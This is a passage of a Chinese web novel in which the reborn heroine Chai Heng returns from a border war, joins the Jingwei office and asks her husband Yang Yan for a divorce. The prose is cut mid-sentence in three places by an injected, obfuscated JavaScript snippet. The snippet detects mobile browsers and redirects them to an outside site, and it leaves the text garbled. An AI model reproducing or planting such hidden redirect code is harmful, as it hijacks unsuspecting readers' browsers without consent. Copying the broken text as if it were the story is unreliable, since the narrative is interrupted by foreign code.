前世的时候,柴蘅的师父靖王十分欣赏他,但后来靖南军跟西戎的最后一战,在熙月岭打了三天三夜,凯旋的军功确实是被楚堰怀抢走了的。 那一战,靖南军明明赢了,柴蘅记得清清楚楚,所有人都听到了凯旋之音,却偏偏被朝廷说成打了败仗,师兄还替师父领了军棍。 不仅如此,朝廷还昭告天下,说西戎人之所以被打败,是因为在靖南军快要输的时候,有一位白袍将军带着人马从中围救,才改变了战局。 而这个白袍将军就是楚堰怀。 当年的事情纷纷扰扰,柴蘅很难讲谁对谁错。 从某种意义上来说,楚堰怀前世捡了个大漏,但其实他一点都不想要这个漏,是年迈的圣人于千万人之中一眼看中他,觉得他将来能辅佐新帝,才把这个名给了他。他当初接这莫名其妙的军功的时候也像是接了个烫手山芋似的。后来还是靖王大度地劝了他,让他心安理得地接受命运的安排,他才没有一根筋的找圣人再去折腾。 柴蘅当时对很多事情并不理解,为此还问了师父为什么,师父只告诉她,他一生所求不过是护好芙蓉山上那些前朝大臣的家眷,能够守好芙蓉山就已经很好了,至于是不是真的打了败仗,没有那么重要。 更何况,天底下没有常胜将军,他老了,老骥伏枥,终有要承认自己不行的一日。 想到这里,她不由得多了几分对于前世的感慨。正思索着什么的时候,计长卿突然眼睛一亮,叫起来: “火!” “那边,好大一片火光!” 徐见贤说着计长卿说的方向看过去,突然发现那是拓拔元离的大营:“好像不止右边,左边也有好大一片火光!” 一时之间,所有人的目光都亮了起来。 就连原本在屋内的杨衍跟薛如月也都走了出来。 “这是怎么回事?” “是拓跋元离跟拓跋鹰彻底内讧了,兄弟俩大概在刚刚那会子功夫彻底撕破了脸,现在互烧对方的营帐呢。” 柴蘅搁下手里的木头,突然意识到这破屋子好像也没有搭的必要了。 徐见贤却一拍大腿:“那我的粮草怎么办!”他说着,急急忙忙就要往拓跋元离的大营奔。 “你一个人奔什么?即使你看到你的粮草在哪儿了,你自己也拖不动啊,去给拓跋元离救火么?” 楚堰怀恨铁不成钢地拽住他。 正此时,西边的天上出现了靖南军特制的烟雾弹,与此同时,边境处也燃起了狼烟,杨衍抬头,沉声道:“你确实不用去。靖王他们已经来了。” 四面响起哒哒的马蹄声,伴随着金戈铁马的喊杀声,柴蘅知道,自己终于可以离开这个鬼地方了。 …… 从西戎回上京的马车一路都十分颠簸,靖南军跟西戎人还在打仗,柴蘅并没有如愿见到师父师娘,只跟前来营救他们的师姐打了个照面,就匆匆踏上了回京的路。 因为杨衍的挑拨,拓跋兄弟上演了一出自相残杀的戏码,一路上,计长卿都没有想明白,他们怎么真的就回来了,而且回来的十分突然。 “我入职兵部以后,研读了多年兵书,一直以为打仗这种事情尔虞我诈,就是要跟对方比奸诈的,没想到这一回,遇见这么蠢的两兄弟。”计长卿的手撑在轿子上“啧啧”感慨。 柴蘅道:“其实拓跋兄弟也不蠢,只是自古以来世子之争,谁都不想输。拓跋鹰知道如果他大哥赢了,他将彻底失去自己在西戎的民心,到时候就不是西戎国土大不大的问题了,而是他还有没有命的问题了,如果是你,你也会给你哥使绊子的。同样,拓跋元离大计将成,被这个二货弟弟烧了营帐,自然也很气,报复回去也在情理之中。” 她说的有理有据。 计长卿不免刮目相看:“柴四,你这是跟你师父学的,还是跟杨衍学的?” 师父师娘教她武艺只为了让她防身,战场危险,关于行军打仗一事,他们从不同她多言。 这还真是上一世她从杨衍那里问来的。 “杨衍吧。”她如实地回。 计长卿眼中突然闪过一丝狡黠:“你回京这一路真打算都跟我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268500|182196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一辆马车?你没瞧见中午咱们在驿站吃饭的时候,杨大人的目光有意无意落在你的身上么?他这人面上冷淡,但未必不在意你。” 柴蘅不以为意地笑了:“那只是你的臆测,他今日一整日跟薛如月一道在一辆马车上,一起用膳,一起聊从前的旧事,心里必然很高兴。有什么好看我的?” “柴四啊,柴四,你真是个木头。” 计长卿摇了摇头,一副孺子不可教的神情:“他为什么跟薛如月在一道,其实也是希望你挽留他,今早咱们乘马车的时候,但凡你跟他一道了,他就不会跟薛如月在一起。” 马车上备了好些的牛乳糕,是师父师娘让师姐给她准备的。 柴蘅伸手拿了一块,一面吃一面笑着揶揄他:“你也就陈怜意一个妻子,怎么搞得跟个情圣似的?” 计长卿:“这你就不懂了,人这一辈子遇见了明白了什么是喜欢的人,又碰巧看对眼,那自然一通百通。” 他骄傲且嘚瑟。 柴蘅不忍打击他,但也不得不承认,他跟陈怜意的生活确实令人羡慕。一个穷困潦倒时未抛弃新婚夫婿,一个金榜题名时未忘记糟糠之妻。 可惜,这个世上多的是陈怜意这样的痴心女子,像计长卿这样有良心的男人终究还是太少。 一路风尘,等回到侯府的时候已经过了五日。马车上是睡不好的,柴蘅回到府上的第一件事是想好好睡一觉,别的之后再说。 也是奇怪,她跟杨衍的马车明明是一同到的,结果到了用膳的时候,这人钻进书房里也不知道找什么东西,搞了好半天。害得小厨房不知道该什么时候上那几道热菜,导致柴蘅吃了几口凉菜就钻回房里了。 柴蘅跟杨衍的屋子分东厢房和西厢房,西厢房平日里没有人住,柴蘅往里面堆了一些她喜欢的木料。东厢房是她平时跟杨衍休息的地方,虽然两人平日里都是盖着棉被纯聊天,但柴蘅回来的时候,发现香巧已经把成婚时的那一床大红的鸳鸯锦被给铺好了。 柴蘅看到那大红色只觉得刺眼,扭头就进了西厢房,钻进了西厢房的床榻里。 半夜,杨衍从书房回来。 一回来先瞧见的是香巧:“夫人呢?” 香巧揉了揉惺忪的睡眼:“在西厢房好像,姑爷,你的腿受伤了?” “无碍。” 杨衍沉吟片刻,整理了一下自己刚换的那一身藏青色常服,往西厢房走去。 柴蘅向来浅眠,身边有一点动静就会醒,睁开眼的时候,只觉得自己的头皮有些痛。一睁眼,发现自己原本插在头上的那支玉兰簪子此刻正在杨衍的手里。 “你大晚上不睡觉偷我簪子做什么?” “谁偷你簪子?” 杨衍唇角一抽,嘲讽道:“我缺你一支买簪子的钱?” 他只是好心过来想要邀请她去东厢房睡,这里一堆破木头,一股腐败的灰尘味。他们还没有和离,若是传出去,还以为他平陵侯府虐待女眷。把她簪子摘了也只是担心她睡着后就这么把自己扎死。 “你不准备偷我簪子,那你来做什么?”柴蘅莫名其妙。 “回去睡。” 杨衍正了正色,为了让自己显得不那么贱嗖嗖,又不咸不淡地补了一句:“今日回来的匆忙,你没有沐浴更衣我不嫌弃你,但明日还是跟以前一样,请你把自己洗得干干净净的。” 柴蘅困得很,听到他这么说,就知道他又犯病了。 她甚至都没有打算回他的意思,胡乱蒙上被子,就又倒了下去。 11. 鸽子 “起来。” 柴蘅这副负隅顽抗的样子让杨衍很不高兴,他不打算纵容她,伸出手就去拽她的被子。 柴蘅听着他古井无波的嗓音,不胜其烦,干脆揉了揉眼睛,一股脑儿地坐起来,抢过他手里的那个被子角,抱着被子就往外走。 杨衍见她一只脚直接踏出了屋门,忍不住在背后问她:“东厢房在这里,你往哪里走?” 柴蘅:“我去公爹房间睡。” 杨衍成婚后,一贯好赌的老平陵侯受不了这个儿子像是管孙子一样的继续管着他,所以干脆带着才三四岁的小女儿杨清屏和几个得力的仆从一起另外置了一间宅子搬出去住了,此刻屋子刚好是空着的,柴蘅就不信了,这大晚上的,偌大的府邸竟然还能没有她落脚的地方。 杨衍以前就知道他这个妻子在某些方面是有些冥顽不灵的,但从没有想过她现在能冥顽不灵成这样。 “你回来。” “你去睡东厢房,我去西厢房睡。” 杨衍脑子一抽一抽地疼,压着火气,还是选择妥协。 有了他这句话,柴蘅又抱着被子重新走了回去。适逢睡在外间的香巧彻底醒了,此刻茫然地看着自家姑娘把被子抱来抱去:“姑娘,你这是?” 柴蘅:“没什么,你继续睡你的。” 柴蘅说着,困倦地把那床大红鸳鸯喜被丢到一边,然后十分满足地躺了下去,全程没再给杨衍一个眼神。 “姑爷,你……”香巧欲言又止。 杨衍自认脸皮没有厚到柴蘅如此驱赶他,他还主动贴上来的地步,原想着她爱怎样就怎样,他也懒得管她了。 可想到明日里他们要一道回柴府,她要是睡到日上三竿,让柴府里一众人在那里等着她,怕是又是一场风波。 想到这里,他又抬头看了柴蘅一眼,然后提醒香巧:“我就不进去了,明早早点叫醒夫人,我会在外间等她一道用早膳。” 香巧赶忙点头:“好。” …… 奔波劳累一路,想要早点醒来对于柴蘅而言是不可能的。香巧谨记杨衍的嘱咐,天不亮便开始提醒柴蘅,说今日要早起。可柴蘅充耳不闻,该怎么睡还是怎么睡。香巧最后没法子了,也只好跟她一起睡。 杨衍今日倒是起了一个大早。 天还没亮便让周九派人前去采买,他们回来的匆忙,回柴府总不能空手去。再加上他这丈母娘对他虽然甚是满意,但对柴蘅这个女儿一向挑剔,倘若备的东西不合心意,虽不会明面上发作,但终究不好看。 周九拿着小本本在那里清点要带的东西: “吉祥铺的东珠和红玛瑙十八子的手串,翡翠璎珞,绿松石的耳坠等等这些都是送给娘家夫人和两个姨姐的。” “然后梁记的蟹粉酥,马蹄糕,杏仁豆腐这些都是给姨姐家的几个哥儿姐儿的。” “这个障刀是送给您的内兄的。” 清点完这些,周九赶忙准备差人去买,东西繁多,还要在大清早就置办完不是一个简单的事。 杨衍坐在八仙桌前,听周九絮絮叨叨完这些后似是想起了什么方才开口:“你去吩咐完采买的人后,再回来一趟,我有话问你。” 他说这话时,神色严肃,清俊的眉目里是化不开的寒霜,周九以为是自己哪里的事情做的不好,要被这个东家找麻烦了,忙不迭奔了出去,等一切吩咐好,又奔回来,准备好接受这最后的审判。 谁成想,杨衍的第一句话便是:“你的妻子香娘最近还好么?” 周九一时之间起了警惕的心思,毕竟,在这京城之中,强取豪夺的事情可真不算少,于是戒备道:“内人一向身体康健,不知世子怎么会问起这个?” “无事,只是问问。” 杨衍也不知在想些什么,说完无事后,又继续:“你妻子香娘会同你吵架么?” 周九:“那自然不会。小人的妻子待小人关怀备至,”无时无刻不在对小人嘘寒问暖。” “那她为什么不同你吵架?” 杨衍突然又问。 周九:“……” 他怎么总觉得今日自家东家一副不盼着他好的样子。 “小人每月的俸禄都交给内子,家中一应事务小人能做的也都做好,内子但凡对小人有所要求,能满足她的,小人赴汤蹈火都满足她。她不喜欢的小人也从来不做,她若与外人相争,我也必定会立即站在她这一边,同人争论,她自然没什么与小人吵的。”周九恭恭敬敬地回。 杨衍摩挲着手里的茶盏,沉思了片刻,没有说话。 到这里,周九大概想明白了,自家东家大概是在西戎跟夫人又发生了点什么不愉快的事情,眼下想着要跟夫人缓和关系。 在这一方面,周九向来最为擅长了,他最喜欢做和事佬。 “世子,是您在西戎的时候惹夫人不高兴了么?”他试探地问。 杨衍思索了一会儿后淡淡道:“也不算在西戎的时候,是我从前确实做过让她不太高兴的事情。” “比如呢?” “比如对她说了很重的话,对她用了一些不太好的手段。” 他简单地描述了一下自己前世的行径,作为一个局外人,周九还是听得云里雾里。 “虽然小人同妻子不吵架,但世间夫妻大多吵闹着过来。这个重话也要看有多重,至于手段,小人是觉得,这是不能用在自己的妻子身上的,不然做得就太过了。”周九顿了顿后,又道,“至于如何判断过头不过头,小人斗胆问一句,如果同样的话,同样的事,夫人这样对您说,对您做,您能不能接受?” 他能不能接受? 杨衍眼中闪过一丝波动,还真的认真地设想了一下。倘若有朝一日,柴蘅为了陆识初对他喊打喊杀,屡次对他出手,他会怎样? 他会笑着当着她的面掐断陆识初的脖子,送陆识初去死,然后一辈子都不会对她再说一句好话。 这样一对比,柴蘅对他,确实已经仁至义尽。 想到这里,他突然觉得对于前世的事情,他确实可以庄重地道一次歉,如果她需要他像从前的她一样,掉进坑里又爬出来,周而复始几次才能原谅他也不是不可以。 “先前我去万佛寺找一弥大师求了一串保平安的铜钱红手绳,我不在的这段日子,大师可让小沙弥送来了?”杨衍突然问。 “送来了。” “那时候您跟夫人都在西戎,那个小和尚一送过来,我就把它放好放在您的书房了,是要给夫人么?我现在就去取。” 杨衍点点头,示意他去。然后坐直了身子,敛了敛自己的衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268501|182196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衫,开始等着柴蘅睡醒出来。 然而从辰时一直等到巳时,柴蘅也没有半点要出来用膳的意思。 他原本想要自己去找她,但想她这几日她对他一直不太热情,去了反倒起不到什么效果,于是随便找了个丫鬟,让她去卧房把柴蘅叫醒。 年轻的小丫鬟腿脚麻利,不多时就便又来回他:“大人,夫人跟香巧刚醒,两人已经在梳妆了。” 柴蘅这个人平日里对自己的容貌没什么特别的要求,懒散起来的时候连眉毛都懒得画,正是因为这样,柴夫人总觉得她太不像一个闺秀,对她鼻子不是鼻子,眼睛不是眼睛。偶然听到“梳妆”两个字,杨衍倒是颇有些震惊。 但是想想也是。 无论她平日里在侯府是个什么鬼样子,但凡去柴家,为了防止柴夫人念叨,她都是打起十二分精神的。 “衣柜里有两套我去西戎前新给她添置的衣裙,你让她从中选一套。” 柴蘅这个人在审美上是存在一定问题的,来京城前,她十分偏爱所有碎花的布料,靖王夫妇又十分疼爱她,虽然也觉得满身碎花并不太美观,但从不会给她泼冷水。 到了京城后,她也改不掉这个偏好,衣柜里放了不少碎花的布料,被柴夫人骂了几次狗血喷头后收敛了不少。 等跟他成婚,在柴夫人看不到的地方,又恢复了这副德行。为了防止她出去给他丢人,上一世成婚以后,柴蘅穿的戴的基本上都要由杨衍的手过一遍,这一世也依旧是这个样子。 小丫鬟急急忙忙又去传话,不多时又回来:“夫人从中选了湖蓝色的那一身,让我来让您从盒子里选一支钗子,看看哪一支配那一身衣裙。”说着,把妆匣子放在杨衍的面前。 她还肯让他帮着选钗子,这是个好预兆。 杨衍面上不显,挑选得却极为认真,不多时便选好了一支翡翠的珊瑚钗子。 小丫鬟拿好钗子,完成了任务后,带着妆匣子又兴高采烈地往柴蘅那里走。 杨衍想,左右梳妆换洗也花不了太长时间,干脆继续坐着等她。结果一等又是半个时辰。 想到都快日上三竿了,他再好的耐心也磨没了,正想着再派个人去催催她,香巧却急匆匆地来了。 “咦,姑爷,你怎的还在这里?” 杨衍抿了抿薄唇,呼吸一窒,像是被人兜头泼了一盆冷水,嗤笑道:“我不在这里在哪里?” 昨日他们一回来就看见柴家嬷嬷站在门口了,当时柴蘅也在,那嬷嬷说了今日要请他们去府上赴家宴的。他那时候以为柴蘅把这话往心里记了,如今想来,怕是左耳朵右耳朵出。 “她人呢?” “人刚出屋子,陆大人来找她,说许久没见她了有些想她,还要带她一道到京卫司的崔大人家坐坐,说刚好京卫司那边有事找她。她这就去了,眼下还没有走多远,说陆大人有些饿,让我来拿几碟子糕点走。” 香巧小心翼翼地觑着杨衍的脸色,眼见他的脸由白变青,她开始思考,这个糕点到底是拿好还是不拿好。 最终还是选择默默拿了一块帕子,将盘子里的糕点都倒进了帕子里。等到一系列操作进行完,她又继续道: “对了,世子,夫人还说,让您今日晚些时候在书房等她,等她回来,有很重要的事要同您讲。” 12. 和离(修) 从侯府出来,柴蘅就直接上了陆识初的马车。她从前不大避京卫司那些人的嫌,但对陆识初一向都是避嫌的,因为杨衍一向不喜欢她这个师兄。 如今反正要一拍两散,她也不再避讳,就没让香巧再帮她套一匹马。 “在西戎见到师父师娘了没?”陆识初一面倚靠着马车,一面温和地看着吃着糕点的柴蘅。 他们师兄妹虽然同在京城,但见面次数并不多。一年也就最多只见个一次。 柴蘅吃了一口干巴的蟹粉酥,有些呛到,喝了一口茶水后才缓过来:“没有,师父师娘没空见我,让柳眉师姐同我见了一面。对了师兄,你怎么会知道京卫司的崔大人找我有要事?” 陆识初在刑部任职,平日里跟京卫司关系并不算亲近。他跟杨衍一样,是个彻头彻尾的文人,只是性子要比杨衍柔和很多,平日里更独来独往,不与其他同僚打交道,能被崔如是找上着实让她有些意外。 “崔大人很欣赏你,刚好今年京卫司缺人,说是手底下走了好几个副指挥使,眼下无人可用,听说你回来,就想让我劝你加入。”陆识初说着沉默了一会儿,又道,“但阿蘅,我来,不是劝你加入的,我只是想看看你自己是怎么想的。” “京卫司毕竟打打杀杀,早年圣人向师父要兵权,师父是为了给你讨一旨赐婚的婚书才爽快地把兵权给了杨衍。师父师娘要的不多,只是希望你能一辈子过得安宁。你觉得你入了京卫司后还能安宁么?” 陆识初比柴蘅年长三岁,自认为自己想的要比柴蘅更多些,其实不然,柴蘅前世死的虽早,但也活到了三十出头的年纪。 许多从前没想明白的事情,在经历一趟生死后,早早地就想通了。 “入了京卫司也许确实会不得安宁,但在侯府带着也未必就能安宁。” 不仅不会安宁,还会早死。 她一副要早日脱离苦海的样子,陆识初下意识地看她一眼,突然意识到,她不仅仅是要入京卫司,做崔如是的手下这么简单,她也许还想着要离开杨衍。 “怎么,刚成婚半年,日子就过不下去了?”陆识初半开玩笑道。 “嗯,过不下去了。” “师兄,你马车上有纸笔么?帮我写一封和离书吧,等今日我回去,我就拿给杨衍,让他盖上他的印。” 柴蘅突然想起来,她满脑子和离,可最关键的和离书还没有写。指望杨衍亲自写,搞得像是有求于他一样,不如把一切先准备好。 听到柴蘅下定决心和离,陆识初先是怔了怔,随后觉得也理所应当。 杨衍这个人心眼又多且十分不要脸,陆识初跟他同为昭明二十四年的新科进士,对他是再了解不过的。说他将来在官场上会大有作为那是必然的,可真要过日子,谁跟他过,都过不好。 当初柴蘅要嫁给他的时候,陆识初就不看好这段婚约。主要是他知晓这个师妹心眼太实,不动真感情还好,一旦动真感情,定然是吃亏栽跟头的那一个。也旁敲侧击跟师父师娘提过,嫁人是一辈子的事,不能光看一张脸,但靖王夫妇坚持认为她喜欢就好,如今成婚不过半年就后悔了,真是白白在一个混蛋的身上蹉跎了半年光阴。 想到这里,陆识初只为她可惜。 “你既下定决心要脱离苦海,那师兄无论如何也会帮你。” “马车上没有纸笔,等到了崔大人府上,我定会好好替你写一封和离书。”陆识初坐直了身子,宠溺地看了一眼柴蘅。 只要想到自己这实心眼的师妹终于睁开眼了,心里就涌起一阵快意来。 马车缓缓驶向崔府,今日崔如是休沐,在家里准备了羊肉锅子。天冷,涮几块羊肉能暖暖身子。 柴蘅自小吃不得羊肉,吃上一块就浑身起疹子,可想到崔如是将来就是她的大上司了,碍于面子,还是吃了几块。 三人相谈甚欢,柴蘅也坦白直言,自己不愿意留在京城,想要去京卫司在幽州的分部缉案司帮忙。崔如是最初并不愿意,更倾向于让她留在身边做副手,毕竟一个吃苦耐劳,不在乎俸禄,满脑子只知道干活的下属实在太难找,可后来看她实在坚持,也没法子,酒过三巡,干脆连幽州缉案司的令牌都给了她,连带着入职的手续,也让人传到了幽州驿站去,准备一道给她办了。 拿到令牌,对于柴蘅而言。就是离开上京这个地方的第一步。 第二步,自然是要杨衍同意和离。 他会同意么? 喝了三盅酒后,柴蘅的脑子里突然闪过这个问题。很快,又觉得自己怕是脑子坏了。 他怎么会不同意。 要知道,前世,他除了拿要断她手脚威胁过她以外,还动不动就拿不要她了威胁她。 他早就巴不得跟她和离,奔向薛如月了。 想到这里,柴蘅突然觉得今天很高兴,这股子高兴一直到她跟着师兄一道出崔如是的家门也依旧存在。 她喝得太多了,脚步虚浮。陆识初扶着她出崔府的时候,正好赶上米市街百戏班子打了个擂台在表演踏索和跳丸,无数个圆球在杂耍人手里抛来抛去,竟无一个落地。柴蘅来京城这么久很少在这么热闹的时候出来,一下子被吸引住了目光。她想要看,陆识初也静静地陪着她。 “你喜欢热闹,杨衍知道么?他会陪你一道在这个时候出来么?”不知出于什么心思,陆识初突然很想问这么一句。 “刚成亲的时候,他会陪我出来。后来我们关系不好了,他不想看到我,我们就很少出来了。” 地底下埋了三十年的女儿红让柴蘅脑子晕乎乎的,但在回答陆识初问题的时候却依旧很清醒。 “那你喜欢跟他出来么?” “喜欢,可是他不喜欢跟我一道出来。”说到这里,柴蘅突然很脑抽地问自家师兄,“师兄,你也觉得我不如薛如月么?” 在西戎的时候,杨衍的那一句跟薛如月相比,她也不配,多多少少还是给她留下了些影响的。 也只有在醉酒的时候,这些一直被藏在心底里的问题才会被释放出来。 “珍惜你的人,无论你是什么样子,在他眼里你都是最好的。不珍惜你的人,无论你多好,他都总会觉得你不如别人。” “阿蘅,你是我的师妹,在我心里,你原本就是芙蓉山那个最好的姑娘,你本来就很好。即使你真的有哪里不好,我也不会觉得你比不上一个外人。” 陆识初看着柴蘅,不明白她才离开芙蓉山短短两三年,怎么就会生出不如别人的想法。说完这话,他的目光突然看向了不远处,紧接着,一声淡淡的“杨大人”,将柴蘅的思绪拉了回来。 柴蘅循着陆识初的目光看去,只一眼就瞧见了杨衍。回到上京城,他衣服倒是换得勤,今早她上马车的时候刚好瞥到他从堂屋的外间出来,那时候穿得还是一身藏青的软绸直缀,到了晚上就又换了一件月白色的对襟长袍,白玉银冠,也不知打扮得浪荡样子给谁看。 “陆大人,我夫人派丫鬟同我说,让我晚上等她,我左等右等等不到人就出来寻寻,没成想是在你这里啊。” “诱拐良家妇女,陆大人,你知道羞耻么?” 杨衍瞟了陆识初一眼,神色称得上是平静,可唇角的那抹笑意却像是要刀人。 他说话一向难听,柴蘅听不下去。她知道,自己都听不下去的话,陆识初更听不下去。 想到今晚还要跟他聊和离的事情,她决定先不跟他吵架。 往陆识初的面前走了一步,站在杨衍的角度看,就是她在护着陆识初。 今日一连放他两次鸽子,还护着别人。 杨衍笑:“你真是越发长本事了,柴蘅。” 柴蘅不想跟他吵架只想让他跟陆识初道歉。 “你先跟我的师兄道歉。” “道歉?若我不呢?”他一副想看看如果他不道,她能为了陆识初对他怎样的样子。 她能把他怎么样? 她什么都不能对他做。 能做的也只有找住的离他百里之外的老侯爷告状。 “那我就去找老侯爷,告诉他,你对同僚出言不逊,还整日对我说难听的话,让他打你家法板子。” 柴蘅这个公爹虽然平日里也怕杨衍这个儿子,但向来口到手到,在罚他一事上也从不手软。 杨衍怎么也没有想到,她连这种法子都能想得到。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268502|182196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他想说,他爹就是打死他又能怎样?不过是皮肉之苦,他受得起。 可眼下看她这么维护陆识初,他心里不知道为什么一酸。 又想了一想,罢了,他原本就是要为从前的事向她认错的,这个时候硬碰硬反倒没了诚意。 于是掀掀眼皮,选择低一回头: “抱歉。” 能说出这两个字,对于杨衍来说已经是极限了。 柴蘅心满意足,她今日还有大事跟他说,得了这一句道歉后便转向陆识初:“师兄,今日辛苦你陪我去一趟崔大人那里,改日我再登门向你道谢,你先回府吧。” “你我之间,不必言谢。” 知道柴蘅今天还有重要的事要跟杨衍讲,陆识初也不多留,给了杨衍一个“你好自为之的眼神”后也就离开了。 等到陆识初走后,柴蘅这才转头看向这个人:你能不能说点人话?” 前世十多年夫妻,她还从来没有为了别人让他这样没脸过。 杨衍心里其实有点乱,一方面他觉得她怎么舍得这么对他? 另一方面,他又确实担心柴蘅有了别的心思。因为前世觉得陆识初好,却没有能够在一起,所以在他这里吃了苦头后后悔了,想要跟陆识初在一起了。 所以,最终选择隐忍着自己的情绪:“你喝多了,我背你回去。” 杨衍说着,已然在她的面前蹲下来。柴蘅眼下脚步都是虚浮的,除了被他背回去确实别无他法,想到这也是这辈子最后一次了,她也没有扭捏,干脆地趴到了杨衍的背上。 “你吃羊肉了?” 柴蘅把手搭在他肩上的时候,杨衍瞥见了她露出的半截手臂上冒出的星星点点的疹子。 “吃了几块。” “陆识初那么好,你吃这样不该吃的东西,他也不拦着你?”杨衍淡淡地问。 柴蘅:“薛如月对你也好,你的腿到现在不也没完全被她的药膏治好么?” “这不一样。”杨衍嘲弄道,“你对薛家做了那么多不好的事情,我有让你跟薛如月道过歉么?” “可你为了薛如月想杀我。” 也许是因为喝醉了酒,柴蘅难得愿意跟他翻旧账,“你不仅为了她想杀我,你还为了她给我挖坑,放兽夹。至少,我从来都没有让你那么疼过。”她的声音闷闷的。 这么久了,这还是柴蘅第一次在他面前喊疼。 杨衍脊背一僵,脚步滞涩的同时,眸光也深了片刻。 “那时候恨我么?” 他突然问出这个问题。 一个早就想问,却又不敢面对的问题。 柴蘅抬头笑了笑道:“你给我挖坑的时候,其实我没有那么恨你。” “虽然每一回爬起来都很疼,但我知道你每次都会趁我睡着的时候偷偷过来,检查我是不是摔得很重,给我抹药油。” 顿了顿,她又想起那个兽夹,轻声道:“可死前那一次我是真的恨你,因为真的很疼,杨衍,我从来没有想过被夹断骨头是那样的感觉,疼到那时候我对自己说,如果能够活着回去,我一辈子都不要再理你了。” 原以为自己已经完全不在意,但不知道为什么,在说起那些旧事的时候,还是会觉得难过。 他总说她不是一个能记得住教训的人,但吃一堑,长一智,那些教训其实她都记得的。 听到她说疼,杨衍呼吸陡然一滞。 他想说他从来都没有真的想过要杀她,也真的没有让人放那个什么兽夹,去永州前的那几句话也只是说说而已。 可柴蘅没有给他这个开口的机会,只是自顾自地开口: “你娶我,跟我成为夫妻这么多年,一点都不高兴,我知道。” “我喜欢你喜欢了那么多年,但你最后还是为了别人伤害我,我也一点都不高兴。” “所以杨衍,这一世,我们都应该做一点让自己高兴的事情。”柴蘅趴在他的肩膀上,像前世很多个寻常的日子一样,只是从前他背她的时候,她满脑子都是趁机揩油,现在满脑子都是好聚好散。 “我们和离吧。” 又轻又短的五个字,透着十足的认真。 13. 找补 “你说什么?” 杨衍的脚步顿了顿,他停在护城河边不走了,脸色也十分难看,带着稍许凉意的晚风吹过,这让晕乎乎的柴蘅瞬间清醒了不少,她听到骨节“咯吱咯吱”作响的声音,并且嗅到了一丝危险的气息。 原本的氛围感被打破。 意识到了自己刚刚说了什么之后,她突然很怕这个人抽风,把她直接扔进河里,毕竟,她是个旱鸭子,不会凫水。 柴蘅:“……” 为了避免一切状况外的事情发生,她下意识地闭上眼睛,把脸往他肩膀上一埋,决定先装睡。 眼见着她不说话了,杨衍这才开始继续往前走。等到回到侯府的时候,已经临近宵禁。 周九打着哈欠守在门口,兵部那边不久前派了人过来,说知晓杨衍跟计长卿在西戎受了不少苦,朝廷那边的调令还没下,但按照左迁的惯例,可以给他们多增添一个专门保护他们的亲卫。 杨衍平日里对手底下的人就一个要求,就是聪明。 今日兵部派来的人又很急匆匆地要个回音,并带了十个人让其挑选,偏偏杨衍不在,周九身为他最信任的管家,自然要接下这个重担,扛起这个大梁,在一众亲卫中给自家主子挑了个最机灵的。 “世子,夫人这是睡着了么?”周九原打算杨衍一回来,就同他讲这事儿。结果在门外守了好久,就瞧见这难得和谐的一幕。 杨衍:“没有。” “那这是?” “在装死。” 周九:“……” 柴蘅:“……” 原本一本正经在装的人彻底装不下去了,好在远离了护城河就是保住了小命,所以柴蘅强忍尴尬,当着周九的面又把眼睛睁开。 周九假装自己没有身处在这脚趾扣地的尴尬环境里,轻咳一声后,侧身让开。大门后的台阶上坐着一个脏兮兮的守卫,他身上的内卫服黑乎乎的,手也黑乎乎的,伸出来跟个乌龟爪子似的,嘴里叼着个大白馒头,皮肤是古铜色,显而易见,是个常年没少干活的。坐着的台阶旁还放了一把铁锹。 周九睿智道:“世子爷,今日兵部送了人来,让我选一个。我想,自然要从十个人里选一个最与众不同,最聪明的,思来想去,还是选了这个纪纲给您做亲卫。他身子骨强健,今日一来,就打了一出拳法给小人看,那拳头打得十分潇洒,尤其是,他从前在襄阳老家的时候很会干农活,极其擅长挖洞。将来若是遇到了罪大恶极的敌人,给对方挖个坑,设个陷阱不成问题。” 说着,他拍了拍纪纲的肩膀。 “来,给世子展示一下你的技能和本事。” 纪纲十分老实地点了点头,将嘴里的最后一口大白馒头吞咽下去,他吐了一口口水抹在手掌上,现场就开始表演刨土。 尘土飞扬,柴蘅咽了咽口水,露出难言的表情。 杨衍的神色也像是吃了屎一般的难看。 “停吧。” “大晚上的不必折腾了。” 他没眼看,主动让纪纲停了。 原本有了杨衍这两句话,周九应该十分有眼力见地把纪纲领走的,但也不知道为什么,今日他一下子来了精神。 “等等,世子,还有这些没给你展示呢。”周九让纪纲把他包里的那堆宝贝拿出来。 灰扑扑的包袱里装了一堆十分诡异的东西,什么天罗地网,带钢钉的流星锤,放了细细密密的银针的木板。 他一一拿出来的时候,柴蘅没由来地抖了一下。 “带他走。” 短短的三个字昭示了此刻杨衍并不太美妙的心情。 